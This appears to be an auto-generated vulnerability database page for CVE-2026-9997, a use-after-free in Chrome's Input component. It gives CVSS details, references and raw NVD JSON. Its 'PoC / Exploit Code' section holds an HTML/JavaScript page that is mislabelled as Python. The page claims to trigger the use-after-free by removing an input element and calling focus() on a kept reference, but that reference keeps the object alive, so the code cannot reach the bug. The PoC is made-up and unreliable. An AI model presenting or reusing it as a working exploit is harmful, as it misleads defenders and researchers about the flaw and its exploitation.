CVE-2026-9997

Description

Use after free in Input in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html>
<!-- 
  PoC for CVE-2026-9997 (Conceptual)
  This demonstrates the trigger mechanism for a Use-After-Free in Input component.
  It attempts to free an object and reuse it to cause a crash or corruption.
-->
<html>
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-9997 PoC</title>
    <script>
        function trigger_uaf() {
            // Step 1: Create the target Input element
            let input_elem = document.createElement('input');
            input_elem.type = 'text';
            document.body.appendChild(input_elem);

            // Step 2: Setup a listener or property that holds a reference
            // (Simulating the vulnerable state)
            let vulnerable_ref = input_elem;

            // Step 3: Remove the element from DOM to trigger potential free
            // In a real vulnerability, specific internal state might delay the free
            document.body.removeChild(input_elem);
            input_elem = null;

            // Step 4: Force Garbage Collection (Implementation dependent)
            // This helps ensure the memory is actually freed/reclaimed
            if (window.gc) {
                window.gc();
            }

            // Step 5: Attempt to reuse the freed memory via the dangling reference
            // Accessing properties or methods on the freed object triggers the UAF
            try {
                console.log("Attempting access to freed object...");
                // This specific access pattern depends on the actual Chrome internal bug
                vulnerable_ref.focus(); 
            } catch (e) {
                console.log("Exception caught: " + e.message);
            }
        }

        window.onload = function() {
            // Trigger requires user interaction as per CVSS UI:R
            document.addEventListener('click', trigger_uaf);
            console.log("Click anywhere to trigger PoC");
        };
    </script>
</head>
<body>
    <h1>CVE-2026-9997 Use After Free PoC</h1>
    <p>Click on this page to attempt triggering the vulnerability.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9997
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9997
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9997/
[4] VulDB https://vuldb.com/cve/CVE-2026-9997
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/513324041

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9997", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:57.933", "lastModified": "2026-05-29T15:16:27.160", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Input in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/513324041", "source": "[email protected]"}]}}